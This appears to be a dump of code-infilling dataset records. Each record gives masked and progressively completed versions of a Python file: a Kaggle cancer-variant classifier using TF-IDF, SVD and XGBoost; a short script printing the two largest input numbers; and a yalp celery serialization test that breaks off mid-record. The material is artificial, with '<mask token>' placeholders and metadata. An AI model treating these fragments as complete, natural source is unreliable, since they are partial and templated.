"step-1": "<mask token>\n\n\ndef text_cleaning(text_df):\n corpus = []\n for i in range(len(text_df)):\n text = re.sub('[^a-zA-Z]', ' ', text_df['Text'][i])\n text = text.lower()\n text = text.split()\n ps = PorterStemmer()\n text = [ps.stem(word) for word in text if not word in set(stopwords\n .words('english'))]\n text = ' '.join(text)\n corpus.append(text)\n return corpus\n\n\n<mask token>\n\n\ndef docv(param, iterations, nfold):\n model_CV = xgb.cv(params=param, num_boost_round=iterations, nfold=nfold,\n dtrain=dtrain, seed=random.randint(1, 10000), early_stopping_rounds\n =100, maximize=False, verbose_eval=50)\n gc.collect()\n best = min(model_CV['test-mlogloss-mean'])\n best_iter = model_CV.shape[0]\n print(best)\n return best_iter\n\n\ndef doTest(param, iteration):\n X_tr, X_val, y_tr, y_val = train_test_split(train_final, y, test_size=\n 0.2, random_state=random.randint(1, 1000))\n watchlist = [(xgb.DMatrix(X_tr, y_tr), 'train'), (xgb.DMatrix(X_val,\n y_val), 'validation')]\n model = xgb.train(params=param, dtrain=xgb.DMatrix(X_tr, y_tr),\n num_boost_round=iteration, evals=watchlist, verbose_eval=50,\n early_stopping_rounds=100)\n score = metrics.log_loss(y_val, model.predict(xgb.DMatrix(X_val)),\n labels=range(9))\n predicted_class = model.predict(dtest)\n print(score)\n return predicted_class\n\n\ndef Bagging(N, params, best_iter):\n for i in range(N):\n param = params\n p = doTest(param, best_iter)\n if i == 0:\n preds = p.copy()\n else:\n preds = preds + p\n predictions = preds / N\n predictions = pd.DataFrame(predictions)\n return predictions\n\n\n<mask token>\n",
"step-2": "<mask token>\nnltk.download('stopwords')\n<mask token>\n\n\ndef text_cleaning(text_df):\n corpus = []\n for i in range(len(text_df)):\n text = re.sub('[^a-zA-Z]', ' ', text_df['Text'][i])\n text = text.lower()\n text = text.split()\n ps = PorterStemmer()\n text = [ps.stem(word) for word in text if not word in set(stopwords\n .words('english'))]\n text = ' '.join(text)\n corpus.append(text)\n return corpus\n\n\n<mask token>\nfor i in column_list:\n missing_values['No. of missing values'] = train_var[i].isnull(\n ).values.ravel().sum()\n<mask token>\nfor i in column_list:\n if df[i].dtype == 'O':\n categorical_columns.append(i)\nfor i in categorical_columns:\n le = LabelEncoder()\n df[i + '_le'] = le.fit_transform(df[i])\n df[i + '_length'] = df[i].map(lambda x: len(str(x)))\n<mask token>\n\n\ndef docv(param, iterations, nfold):\n model_CV = xgb.cv(params=param, num_boost_round=iterations, nfold=nfold,\n dtrain=dtrain, seed=random.randint(1, 10000), early_stopping_rounds\n =100, maximize=False, verbose_eval=50)\n gc.collect()\n best = min(model_CV['test-mlogloss-mean'])\n best_iter = model_CV.shape[0]\n print(best)\n return best_iter\n\n\ndef doTest(param, iteration):\n X_tr, X_val, y_tr, y_val = train_test_split(train_final, y, test_size=\n 0.2, random_state=random.randint(1, 1000))\n watchlist = [(xgb.DMatrix(X_tr, y_tr), 'train'), (xgb.DMatrix(X_val,\n y_val), 'validation')]\n model = xgb.train(params=param, dtrain=xgb.DMatrix(X_tr, y_tr),\n num_boost_round=iteration, evals=watchlist, verbose_eval=50,\n early_stopping_rounds=100)\n score = metrics.log_loss(y_val, model.predict(xgb.DMatrix(X_val)),\n labels=range(9))\n predicted_class = model.predict(dtest)\n print(score)\n return predicted_class\n\n\ndef Bagging(N, params, best_iter):\n for i in range(N):\n param = params\n p = doTest(param, best_iter)\n if i == 0:\n preds = p.copy()\n else:\n preds = preds + p\n predictions = preds / N\n predictions = pd.DataFrame(predictions)\n return predictions\n\n\n<mask token>\nSub_File.to_csv('submission33.csv', index=False)\n",
"step-3": "<mask token>\nnltk.download('stopwords')\n<mask token>\ntrain_df = pd.read_csv('training_text', sep='\\\\|\\\\|', engine='python',\n names=['ID', 'Text'], header=None)\ntrain_df = train_df.iloc[1:, :]\ntrain_df.index = range(len(train_df))\ntrain_var = pd.read_csv('training_variants')\ntest_df = pd.read_csv('test_text', sep='\\\\|\\\\|', engine='python', names=[\n 'ID', 'Text'], header=None)\ntest_var = pd.read_csv('test_variants')\n\n\ndef text_cleaning(text_df):\n corpus = []\n for i in range(len(text_df)):\n text = re.sub('[^a-zA-Z]', ' ', text_df['Text'][i])\n text = text.lower()\n text = text.split()\n ps = PorterStemmer()\n text = [ps.stem(word) for word in text if not word in set(stopwords\n .words('english'))]\n text = ' '.join(text)\n corpus.append(text)\n return corpus\n\n\ncorpus_train = text_cleaning(train_df)\ncorpus_test = text_cleaning(test_df)\ntfidf = TfidfVectorizer()\ntfidf_tr = tfidf.fit_transform(corpus_train).toarray()\ntfidf_test = tfidf.transform(corpus_test).toarray()\nsvd = TruncatedSVD(n_components=1000)\nsvd_tr = svd.fit_transform(tfidf_tr)\nsvd_train = svd.transform(tfidf_test)\nsvd_tr = pd.DataFrame(svd_tr)\nsvd_test = pd.DataFrame(svd_train)\ny = train_var['Class'].values\ny = y - 1\ndf = pd.concat([train_var, test_var], axis=0)\ndf = df.drop(['ID'], axis=1)\ndf['ID'] = range(df.shape[0])\ndf.index = range(df.shape[0])\ndf_text = pd.concat([train_df, test_df], axis=0)\ndf_text = df_text.drop('ID', axis=1)\ndf_text['ID'] = range(df_text.shape[0])\ndf_text.index = range(df_text.shape[0])\ndf_all = pd.merge(df, df_text, how='left', on='ID')\ncolumn_list = train_var.columns.values.tolist()\nmissing_values = pd.DataFrame()\nmissing_values['Columns'] = column_list\nfor i in column_list:\n missing_values['No. of missing values'] = train_var[i].isnull(\n ).values.ravel().sum()\ncolumn_list = df.columns\ncategorical_columns = []\nfor i in column_list:\n if df[i].dtype == 'O':\n categorical_columns.append(i)\nfor i in categorical_columns:\n le = LabelEncoder()\n df[i + '_le'] = le.fit_transform(df[i])\n df[i + '_length'] = df[i].map(lambda x: len(str(x)))\ndf_all['Gene_Share'] = df_all.apply(lambda r: sum([(1) for w in r['Gene'].\n split(' ') if w in r['Text'].split(' ')]), axis=1)\ndf_all['Variation_Share'] = df_all.apply(lambda r: sum([(1) for w in r[\n 'Variation'].split(' ') if w in r['Text'].split(' ')]), axis=1)\ntrain = df_all.iloc[:len(train_var), :]\ntest = df_all.iloc[len(train_var):, :]\ntest.index = range(len(test_var))\ntrain = train.drop(['Gene', 'Variation', 'ID', 'Text', 'Class'], axis=1)\ntest = test.drop(['Gene', 'Variation', 'Text', 'ID', 'Class'], axis=1)\ntrain_final = pd.concat([train, svd_tr], axis=1)\ntest_final = pd.concat([test, svd_test], axis=1)\nsc = StandardScaler()\ntrain_final = sc.fit_transform(train_final)\ntest_final = sc.transform(test_final)\ntrain_final = pd.DataFrame(train_final)\ntest_final = pd.DataFrame(test_final)\ndtrain = xgb.DMatrix(train_final, y)\ndtest = xgb.DMatrix(test_final)\n\n\ndef docv(param, iterations, nfold):\n model_CV = xgb.cv(params=param, num_boost_round=iterations, nfold=nfold,\n dtrain=dtrain, seed=random.randint(1, 10000), early_stopping_rounds\n =100, maximize=False, verbose_eval=50)\n gc.collect()\n best = min(model_CV['test-mlogloss-mean'])\n best_iter = model_CV.shape[0]\n print(best)\n return best_iter\n\n\ndef doTest(param, iteration):\n X_tr, X_val, y_tr, y_val = train_test_split(train_final, y, test_size=\n 0.2, random_state=random.randint(1, 1000))\n watchlist = [(xgb.DMatrix(X_tr, y_tr), 'train'), (xgb.DMatrix(X_val,\n y_val), 'validation')]\n model = xgb.train(params=param, dtrain=xgb.DMatrix(X_tr, y_tr),\n num_boost_round=iteration, evals=watchlist, verbose_eval=50,\n early_stopping_rounds=100)\n score = metrics.log_loss(y_val, model.predict(xgb.DMatrix(X_val)),\n labels=range(9))\n predicted_class = model.predict(dtest)\n print(score)\n return predicted_class\n\n\ndef Bagging(N, params, best_iter):\n for i in range(N):\n param = params\n p = doTest(param, best_iter)\n if i == 0:\n preds = p.copy()\n else:\n preds = preds + p\n predictions = preds / N\n predictions = pd.DataFrame(predictions)\n return predictions\n\n\nparams = {'eta': 0.02, 'max_depth': 6, 'objective': 'multi:softprob',\n 'eval_metric': 'mlogloss', 'silent': False, 'seed': random.randint(1, \n 100), 'num_class': 9}\ncross_vali = docv(params, 10000, 5)\npredicted_class = Bagging(5, params, cross_vali)\nsub_file = pd.DataFrame()\nsub_file['ID'] = test_var['ID'].values\nSub_File = pd.concat([sub_file, predicted_class], axis=1)\nSub_File.columns = ['ID', 'Class1', 'Class2', 'Class3', 'Class4', 'Class5',\n 'Class6', 'Class7', 'Class8', 'Class9']\nSub_File.to_csv('submission33.csv', index=False)\n",
"step-4": "import numpy as np\nimport pandas as pd\nimport matplotlib as plt\nimport re\nimport nltk\nnltk.download('stopwords')\nfrom nltk.corpus import stopwords\nfrom nltk.stem.porter import PorterStemmer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.decomposition import TruncatedSVD\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import StandardScaler\nimport xgboost as xgb\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import metrics\nimport gc\nimport random\ntrain_df = pd.read_csv('training_text', sep='\\\\|\\\\|', engine='python',\n names=['ID', 'Text'], header=None)\ntrain_df = train_df.iloc[1:, :]\ntrain_df.index = range(len(train_df))\ntrain_var = pd.read_csv('training_variants')\ntest_df = pd.read_csv('test_text', sep='\\\\|\\\\|', engine='python', names=[\n 'ID', 'Text'], header=None)\ntest_var = pd.read_csv('test_variants')\n\n\ndef text_cleaning(text_df):\n corpus = []\n for i in range(len(text_df)):\n text = re.sub('[^a-zA-Z]', ' ', text_df['Text'][i])\n text = text.lower()\n text = text.split()\n ps = PorterStemmer()\n text = [ps.stem(word) for word in text if not word in set(stopwords\n .words('english'))]\n text = ' '.join(text)\n corpus.append(text)\n return corpus\n\n\ncorpus_train = text_cleaning(train_df)\ncorpus_test = text_cleaning(test_df)\ntfidf = TfidfVectorizer()\ntfidf_tr = tfidf.fit_transform(corpus_train).toarray()\ntfidf_test = tfidf.transform(corpus_test).toarray()\nsvd = TruncatedSVD(n_components=1000)\nsvd_tr = svd.fit_transform(tfidf_tr)\nsvd_train = svd.transform(tfidf_test)\nsvd_tr = pd.DataFrame(svd_tr)\nsvd_test = pd.DataFrame(svd_train)\ny = train_var['Class'].values\ny = y - 1\ndf = pd.concat([train_var, test_var], axis=0)\ndf = df.drop(['ID'], axis=1)\ndf['ID'] = range(df.shape[0])\ndf.index = range(df.shape[0])\ndf_text = pd.concat([train_df, test_df], axis=0)\ndf_text = df_text.drop('ID', axis=1)\ndf_text['ID'] = range(df_text.shape[0])\ndf_text.index = range(df_text.shape[0])\ndf_all = pd.merge(df, df_text, how='left', on='ID')\ncolumn_list = train_var.columns.values.tolist()\nmissing_values = pd.DataFrame()\nmissing_values['Columns'] = column_list\nfor i in column_list:\n missing_values['No. of missing values'] = train_var[i].isnull(\n ).values.ravel().sum()\ncolumn_list = df.columns\ncategorical_columns = []\nfor i in column_list:\n if df[i].dtype == 'O':\n categorical_columns.append(i)\nfor i in categorical_columns:\n le = LabelEncoder()\n df[i + '_le'] = le.fit_transform(df[i])\n df[i + '_length'] = df[i].map(lambda x: len(str(x)))\ndf_all['Gene_Share'] = df_all.apply(lambda r: sum([(1) for w in r['Gene'].\n split(' ') if w in r['Text'].split(' ')]), axis=1)\ndf_all['Variation_Share'] = df_all.apply(lambda r: sum([(1) for w in r[\n 'Variation'].split(' ') if w in r['Text'].split(' ')]), axis=1)\ntrain = df_all.iloc[:len(train_var), :]\ntest = df_all.iloc[len(train_var):, :]\ntest.index = range(len(test_var))\ntrain = train.drop(['Gene', 'Variation', 'ID', 'Text', 'Class'], axis=1)\ntest = test.drop(['Gene', 'Variation', 'Text', 'ID', 'Class'], axis=1)\ntrain_final = pd.concat([train, svd_tr], axis=1)\ntest_final = pd.concat([test, svd_test], axis=1)\nsc = StandardScaler()\ntrain_final = sc.fit_transform(train_final)\ntest_final = sc.transform(test_final)\ntrain_final = pd.DataFrame(train_final)\ntest_final = pd.DataFrame(test_final)\ndtrain = xgb.DMatrix(train_final, y)\ndtest = xgb.DMatrix(test_final)\n\n\ndef docv(param, iterations, nfold):\n model_CV = xgb.cv(params=param, num_boost_round=iterations, nfold=nfold,\n dtrain=dtrain, seed=random.randint(1, 10000), early_stopping_rounds\n =100, maximize=False, verbose_eval=50)\n gc.collect()\n best = min(model_CV['test-mlogloss-mean'])\n best_iter = model_CV.shape[0]\n print(best)\n return best_iter\n\n\ndef doTest(param, iteration):\n X_tr, X_val, y_tr, y_val = train_test_split(train_final, y, test_size=\n 0.2, random_state=random.randint(1, 1000))\n watchlist = [(xgb.DMatrix(X_tr, y_tr), 'train'), (xgb.DMatrix(X_val,\n y_val), 'validation')]\n model = xgb.train(params=param, dtrain=xgb.DMatrix(X_tr, y_tr),\n num_boost_round=iteration, evals=watchlist, verbose_eval=50,\n early_stopping_rounds=100)\n score = metrics.log_loss(y_val, model.predict(xgb.DMatrix(X_val)),\n labels=range(9))\n predicted_class = model.predict(dtest)\n print(score)\n return predicted_class\n\n\ndef Bagging(N, params, best_iter):\n for i in range(N):\n param = params\n p = doTest(param, best_iter)\n if i == 0:\n preds = p.copy()\n else:\n preds = preds + p\n predictions = preds / N\n predictions = pd.DataFrame(predictions)\n return predictions\n\n\nparams = {'eta': 0.02, 'max_depth': 6, 'objective': 'multi:softprob',\n 'eval_metric': 'mlogloss', 'silent': False, 'seed': random.randint(1, \n 100), 'num_class': 9}\ncross_vali = docv(params, 10000, 5)\npredicted_class = Bagging(5, params, cross_vali)\nsub_file = pd.DataFrame()\nsub_file['ID'] = test_var['ID'].values\nSub_File = pd.concat([sub_file, predicted_class], axis=1)\nSub_File.columns = ['ID', 'Class1', 'Class2', 'Class3', 'Class4', 'Class5',\n 'Class6', 'Class7', 'Class8', 'Class9']\nSub_File.to_csv('submission33.csv', index=False)\n",
"step-5": "####################################################################################\n#\n# Kaggle Competition: https://www.kaggle.com/c/msk-redefining-cancer-treatment\n# Sponsor : Memorial Sloan Kettering Cancer Center (MSKCC)\n# Author: Amrut Shintre\n#\n####################################################################################\n\n#####################\n# Importing Libraries\n#####################\nimport numpy as np\nimport pandas as pd\nimport matplotlib as plt\nimport re\nimport nltk\nnltk.download('stopwords')\nfrom nltk.corpus import stopwords\nfrom nltk.stem.porter import PorterStemmer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.decomposition import TruncatedSVD\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import StandardScaler\nimport xgboost as xgb\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import metrics\nimport gc\nimport random\n\n####################\n# Importing datasets\n####################\n\n# Training Dataset\ntrain_df = pd.read_csv('training_text', sep = '\\|\\|', engine = 'python', names = ['ID', 'Text'],\n header = None)\ntrain_df = train_df.iloc[1:,:]\ntrain_df.index = range(len(train_df))\ntrain_var = pd.read_csv('training_variants')\n\n# Testing Dataset\ntest_df = pd.read_csv('test_text', sep = '\\|\\|', engine = 'python', names = ['ID', 'Text'],\n header = None)\ntest_var = pd.read_csv('test_variants')\n\n# --------------------------------------------TEXT ---------------------------------------------\n\n##############\n# TextCleaning\n##############\n\ndef text_cleaning(text_df):\n corpus = []\n for i in range(len(text_df)):\n text = re.sub('[^a-zA-Z]', ' ', text_df['Text'][i]) # Removing punctuation marks,\n #numbers, etc and returning only letters\n text = text.lower() # Converting all the uppercase letters to lowercase\n text = text.split() # Splitting a sentence into a list of strings containing a single word.\n ps = PorterStemmer() # Stemming e.g. lovely -> love\n text = [ps.stem(word) for word in text if not word in set(stopwords.words('english'))]\n text = ' '.join(text) # Joining the cleaned words\n corpus.append(text) # Appending it to the new list.\n return (corpus)\n\n# Training Text Data\ncorpus_train = text_cleaning(train_df)\n\n# Testing Text Data\ncorpus_test = text_cleaning(test_df)\n\n#############################################\n# Term Frequency - Inverse Document Frequency\n#############################################\n\ntfidf = TfidfVectorizer()\ntfidf_tr = tfidf.fit_transform(corpus_train).toarray()\ntfidf_test = tfidf.transform(corpus_test).toarray()\n\n##############################\n# Singular Value Decomposition\n##############################\n\nsvd = TruncatedSVD(n_components = 1000) # considering 98% variance in the Data\nsvd_tr = svd.fit_transform(tfidf_tr) # Fitting on cleaned training text data\nsvd_train = svd.transform(tfidf_test) # Transforming on cleaned testing text data\nsvd_tr = pd.DataFrame(svd_tr)\nsvd_test = pd.DataFrame(svd_train)\n#explainedvar = svd.explained_variance_ratio_\n#exp_var = explainedvar.cumsum()\n\n# -------------------------------------------- VARIANTS ---------------------------------------------\n\n####################\n# Dependent Variable\n####################\n\ny = train_var['Class'].values\ny = y-1\n\n#################\n# Merging Dataset\n#################\n\n# Merging the dataset for data preparation and feature engineering\n\ndf = pd.concat([train_var, test_var], axis = 0)\ndf = df.drop(['ID'], axis = 1)\ndf['ID'] = range(df.shape[0])\ndf.index = range(df.shape[0])\ndf_text = pd.concat([train_df, test_df], axis = 0)\ndf_text = df_text.drop('ID', axis = 1)\ndf_text['ID'] = range(df_text.shape[0])\ndf_text.index = range(df_text.shape[0])\ndf_all = pd.merge(df, df_text, how = 'left', on = 'ID')\n\n\n################\n# Missing Values\n################\n\n# Checking for missing values\n\ncolumn_list = train_var.columns.values.tolist()\nmissing_values = pd.DataFrame()\nmissing_values['Columns'] = column_list\nfor i in column_list:\n missing_values['No. of missing values'] = train_var[i].isnull().values.ravel().sum()\n\n# There are no missing values.\n\n#######################\n# Categorical Variables\n#######################\n\n# Extracting the columns having categorical Variables.\n\ncolumn_list = df.columns\ncategorical_columns = []\nfor i in column_list:\n if df[i].dtype == 'O':\n categorical_columns.append(i)\n\n# Encoding the columns with categorical variables\n\n# Label Encoding\n\nfor i in categorical_columns:\n le = LabelEncoder()\n df[i + '_le'] = le.fit_transform(df[i])\n df[i + '_length'] = df[i].map(lambda x: len(str(x)))\n\n# Feature Engineering\n\ndf_all['Gene_Share'] = df_all.apply(lambda r: sum([1 for w in r['Gene'].split(' ') if w in r['Text'].split(' ')]), axis=1)\ndf_all['Variation_Share'] = df_all.apply(lambda r: sum([1 for w in r['Variation'].split(' ') if w in r['Text'].split(' ')]), axis=1)\n \n###################\n# Splitting Dataset\n################### \n\ntrain = df_all.iloc[:len(train_var), :]\ntest = df_all.iloc[len(train_var):,:]\ntest.index = range(len(test_var))\ntrain = train.drop(['Gene', 'Variation', 'ID', 'Text', 'Class'], axis = 1)\ntest = test.drop(['Gene', 'Variation', 'Text', 'ID', 'Class'], axis = 1)\n\ntrain_final = pd.concat([train, svd_tr], axis = 1)\ntest_final = pd.concat([test, svd_test], axis = 1)\n\n#################\n# Standardization\n#################\n\nsc = StandardScaler()\ntrain_final = sc.fit_transform(train_final)\ntest_final = sc.transform(test_final)\ntrain_final = pd.DataFrame(train_final)\ntest_final = pd.DataFrame(test_final) \n\n# -------------------------------------------- MODEL ---------------------------------------------\n\n##################\n# XGBoost Matrix \n##################\n\ndtrain = xgb.DMatrix(train_final, y)\ndtest = xgb.DMatrix(test_final)\n\n##################\n# Cross-Validation \n##################\n\ndef docv(param, iterations, nfold):\n model_CV = xgb.cv(\n params = param,\n num_boost_round = iterations,\n nfold = nfold,\n dtrain = dtrain,\n seed = random.randint(1, 10000),\n early_stopping_rounds = 100,\n maximize = False,\n verbose_eval = 50)\n gc.collect()\n best = min(model_CV['test-mlogloss-mean'])\n best_iter = model_CV.shape[0]\n print (best)\n return (best_iter)\n\n#########\n# Testing \n#########\n\ndef doTest(param, iteration):\n X_tr, X_val, y_tr, y_val = train_test_split(train_final, y, test_size = 0.2, random_state = random.randint(1,1000))\n watchlist = [(xgb.DMatrix(X_tr, y_tr), 'train'), (xgb.DMatrix(X_val, y_val), 'validation')]\n model = xgb.train(\n params = param,\n dtrain = xgb.DMatrix(X_tr, y_tr),\n num_boost_round = iteration,\n evals = watchlist,\n verbose_eval = 50,\n early_stopping_rounds = 100)\n score = metrics.log_loss(y_val, model.predict(xgb.DMatrix(X_val)), labels = range(9))\n predicted_class = model.predict(dtest)\n print (score)\n return (predicted_class)\n\n#########\n# Bagging\n#########\n\ndef Bagging(N, params, best_iter):\n for i in range(N):\n param = params\n p = doTest(param, best_iter)\n if i == 0:\n preds = p.copy()\n else:\n preds = preds + p\n predictions = preds/N\n predictions = pd.DataFrame(predictions)\n return (predictions)\n\n###################\n# Running the Model\n###################\n\nparams = {\n 'eta': 0.02,\n 'max_depth': 6,\n 'objective': 'multi:softprob',\n 'eval_metric': 'mlogloss',\n 'silent': False,\n 'seed': random.randint(1,100),\n 'num_class': 9\n }\n\ncross_vali = docv(params, 10000, 5)\n\npredicted_class = Bagging(5, params, cross_vali)\n\n\n# -------------------------------------------- SUBMISSION ---------------------------------------------\n\nsub_file = pd.DataFrame()\nsub_file['ID'] = test_var['ID'].values\nSub_File = pd.concat([sub_file, predicted_class], axis = 1)\nSub_File.columns = ['ID', 'Class1', 'Class2', 'Class3', 'Class4', 'Class5', 'Class6', 'Class7', \n 'Class8', 'Class9']\nSub_File.to_csv(\"submission33.csv\", index = False)\n\n# -------------------------------------------- Project Layout ---------------------------------------------\n\n# 1) Text Cleaning\n# 2) TFIDF Vectorizer and Singular Value Decomposition\n# 3) Feature Engineering\n# 4) Building a Model and trying out different models\n# 5) Parameter Tuning\n# 6) Bagged Boosting ",
"step-ids": [
4,
5,
6,
7,
8
]
}
|
[
4,
5,
6,
7,
8
] |
n = int(input())
lista = []
for i in range(n):
inp = int(input())
lista.append(inp)
lista.sort(reverse=True)
print(lista[0])
print(lista[1])
|
normal
|
{
"blob_id": "b03960999fa30a55932ada7fbf731a3861b840ae",
"index": 3496,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor i in range(n):\n inp = int(input())\n lista.append(inp)\nlista.sort(reverse=True)\nprint(lista[0])\nprint(lista[1])\n",
"step-3": "n = int(input())\nlista = []\nfor i in range(n):\n inp = int(input())\n lista.append(inp)\nlista.sort(reverse=True)\nprint(lista[0])\nprint(lista[1])\n",
"step-4": null,
"step-5": null,
"step-ids": [
0,
1,
2
]
}
|
[
0,
1,
2
] |
# vim: set et ts=4 sw=4 fileencoding=utf-8:
'''
tests.integration.test_pipeline
===============================
'''
import unittest
import yaml
import subprocess
import time
import pickle
from datetime import datetime
from amqp.exceptions import ChannelError
from yalp.config import settings
@unittest.skip('need to make this less brittle')
class TestSerialization(unittest.TestCase):
'''
Test that serialization via celery does not break
'''
def setUp(self):
settings.parsers = [{
'passthrough': {}
}]
try:
import socket
import amqp
self.connection = amqp.Connection()
self.channel = self.connection.channel()
except socket.error:
from nose.plugins.skip import SkipTest
raise SkipTest('Unable to connect to rabbitmq')
self.now = datetime.now()
self.event = {
'host': 'test_host',
'message': 'test message',
'date_time': self.now,
}
with open('/tmp/test_serial.yml', 'w') as config_file:
config = {
'parsers': [{
'passthrough': {}
}],
'parser_workers': 1
}
yaml.dump(config, config_file)
self.parser_process = subprocess.Popen(
'scripts/yalp-parsers -c /tmp/test_serial.yml',
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
def tearDown(self):
self.channel.queue_delete(queue=settings.parser_queue)
self.channel.queue_delete(queue='outputs')
self.channel.close()
self.connection.close()
self.parser_process.kill()
def test_default_serializer(self):
from yalp.pipeline import tasks
tasks.process_message.apply_async(
args=[self.event],
queue=settings.parser_queue,
serializer=settings.celery_serializer,
)
while True:
try:
message = self.channel.basic_get(queue='outputs')
break
except ChannelError:
time.sleep(0.1)
self.assertIsNotNone(message)
event = pickle.loads(message.body)['message']
self.assertEqual('test message', event['message'])
self.assertEqual(self.now, event['date_time'])
|
normal
|
{
"blob_id": "c945dc4df68fe110e8b38713fb77e2dce9efad8d",
"index": 8418,
"step-1": "<mask token>\n\n\n@unittest.skip('need to make this less brittle')\nclass TestSerialization(unittest.TestCase):\n <mask token>\n <mask token>\n <mask token>\n\n def test_default_serializer(self):\n from yalp.pipeline import tasks\n tasks.process_message.apply_async(args=[self.event], queue=settings\n .parser_queue, serializer=settings.celery_serializer)\n while True:\n try:\n message = self.channel.basic_get(queue='outputs')\n break\n except ChannelError:\n time.sleep(0.1)\n self.assertIsNotNone(message)\n event = pickle.loads(message.body)['message']\n self.assertEqual('test message', event['message'])\n self.assertEqual(self.now, event['date_time'])\n",
"step-2": "<mask token>\n\n\n@unittest.skip('need to make this less brittle')\nclass TestSerialization(unittest.TestCase):\n <mask token>\n\n def setUp(self):\n settings.parsers = [{'passthrough': {}}]\n try:\n import socket\n import amqp\n self.connection = amqp.Connection()\n self.channel = self.connection.channel()\n except socket.error:\n from nose.plugins.skip import SkipTest\n raise SkipTest('Unable to connect to rabbitmq')\n self.now = datetime.now()\n self.event = {'host': 'test_host', 'message': 'test message',\n 'date_time': self.now}\n with open('/tmp/test_serial.yml', 'w') as config_file:\n config = {'parsers': [{'passthrough': {}}], 'parser_workers': 1}\n yaml.dump(config, config_file)\n self.parser_process = subprocess.Popen(\n 'scripts/yalp-parsers -c /tmp/test_serial.yml', shell=True,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n def tearDown(self):\n self.channel.queue_delete(queue=settings.parser_queue)\n self.channel.queue_delete(queue='outputs')\n self.channel.close()\n self.connection.close()\n self.parser_process.kill()\n\n def test_default_serializer(self):\n from yalp.pipeline import tasks\n tasks.process_message.apply_async(args=[self.event], queue=settings\n .parser_queue, serializer=settings.celery_serializer)\n while True:\n try:\n message = self.channel.basic_get(queue='outputs')\n break\n except ChannelError:\n time.sleep(0.1)\n self.assertIsNotNone(message)\n event = pickle.loads(message.body)['message']\n self.assertEqual('test message', event['message'])\n self.assertEqual(self.now, event['date_time'])\n",
"step-3": "<mask token>\n\n\n@unittest.skip('need to make this less brittle')\nclass TestSerialization(unittest.TestCase):\n \"\"\"\n Test that serialization via celery does not break\n \"\"\"\n\n def setUp(self):\n settings.parsers = [{'passthrough': {}}]\n try:\n import socket\n import amqp\n self.connection = amqp.Connection()\n self.channel = self.connection.channel()\n except socket.error:\n from nose.plugins.skip import SkipTest\n raise SkipTest('Unable to connect to rabbitmq')\n self.now = datetime.now()\n self.event = {'host': 'test_host', 'message': 'test message',\n 'date_time': self.now}\n with open('/tmp/test_serial.yml', 'w') as config_file:\n config = {'parsers': [{'passthrough': {}}], 'parser_workers': 1}\n yaml.dump(config, config_file)\n self.parser_process = subprocess.Popen(\n 'scripts/yalp-parsers -c /tmp/test_serial.yml', shell=True,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n def tearDown(self):\n self.channel.queue_delete(queue=settings.parser_queue)\n self.channel.queue_delete(queue='outputs')\n self.channel.close()\n self.connection.close()\n self.parser_process.kill()\n\n def test_default_serializer(self):\n from yalp.pipeline import tasks\n tasks.process_message.apply_async(args=[self.event], queue=settings\n .parser_queue, serializer=settings.celery_serializer)\n while True:\n try:\n message = self.channel.basic_get(queue='outputs')\n break\n except ChannelError:\n time.sleep(0.1)\n self.assertIsNotNone(message)\n event = pickle.loads(message.body)['message']\n self.assertEqual('test message', event['message'])\n self.assertEqual(self.now, event['date_time'])\n",
"step-4": "<mask token>\nimport unittest\nimport yaml\nimport subprocess\nimport time\nimport pickle\nfrom datetime import datetime\nfrom amqp.exceptions import ChannelError\nfrom yalp.config import settings\n\n\n@unittest.skip('need to make this less brittle')\nclass TestSerialization(unittest.TestCase):\n \"\"\"\n Test that serialization via celery does not break\n \"\"\"\n\n def setUp(self):\n settings.parsers = [{'passthrough': {}}]\n try:\n import socket\n import amqp\n self.connection = amqp.Connection()\n self.channel = self.connection.channel()\n except socket.error:\n from nose.plugins.skip import SkipTest\n raise SkipTest('Unable to connect to rabbitmq')\n self.now = datetime.now()\n self.event = {'host': 'test_host', 'message': 'test message',\n 'date_time': self.now}\n with open('/tmp/test_serial.yml', 'w') as config_file:\n config = {'parsers': [{'passthrough': {}}], 'parser_workers': 1}\n yaml.dump(config, config_file)\n self.parser_process = subprocess.Popen(\n 'scripts/yalp-parsers -c /tmp/test_serial.yml', shell=True,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n def tearDown(self):\n self.channel.queue_delete(queue=settings.parser_queue)\n self.channel.queue_delete(queue='outputs')\n self.channel.close()\n self.connection.close()\n self.parser_process.kill()\n\n def test_default_serializer(self):\n from yalp.pipeline import tasks\n tasks.process_message.apply_async(args=[self.event], queue=settings\n .parser_queue, serializer=settings.celery_serializer)\n while True:\n try:\n message = self.channel.basic_get(queue='outputs')\n break\n except ChannelError:\n time.sleep(0.1)\n self.assertIsNotNone(message)\n event = pickle.loads(message.body)['message']\n self.assertEqual('test message', event['message'])\n self.assertEqual(self.now, event['date_time'])\n",
"step-5": "# vim: set et ts=4 sw=4 fileencoding=utf-8:\n'''\ntests.integration.test_pipeline\n===============================\n'''\nimport unittest\n\nimport yaml\nimport subprocess\nimport time\nimport pickle\nfrom datetime import datetime\n\nfrom amqp.exceptions import ChannelError\n\nfrom yalp.config import settings\n\n\n@unittest.skip('need to make this less brittle')\nclass TestSerialization(unittest.TestCase):\n '''\n Test that serialization via celery does not break\n '''\n def setUp(self):\n settings.parsers = [{\n 'passthrough': {}\n }]\n try:\n import socket\n import amqp\n self.connection = amqp.Connection()\n self.channel = self.connection.channel()\n except socket.error:\n from nose.plugins.skip import SkipTest\n raise SkipTest('Unable to connect to rabbitmq')\n self.now = datetime.now()\n self.event = {\n 'host': 'test_host',\n 'message': 'test message',\n 'date_time': self.now,\n }\n with open('/tmp/test_serial.yml', 'w') as config_file:\n config = {\n 'parsers': [{\n 'passthrough': {}\n }],\n 'parser_workers': 1\n }\n yaml.dump(config, config_file)\n\n self.parser_process = subprocess.Popen(\n 'scripts/yalp-parsers -c /tmp/test_serial.yml',\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n\n def tearDown(self):\n self.channel.queue_delete(queue=settings.parser_queue)\n 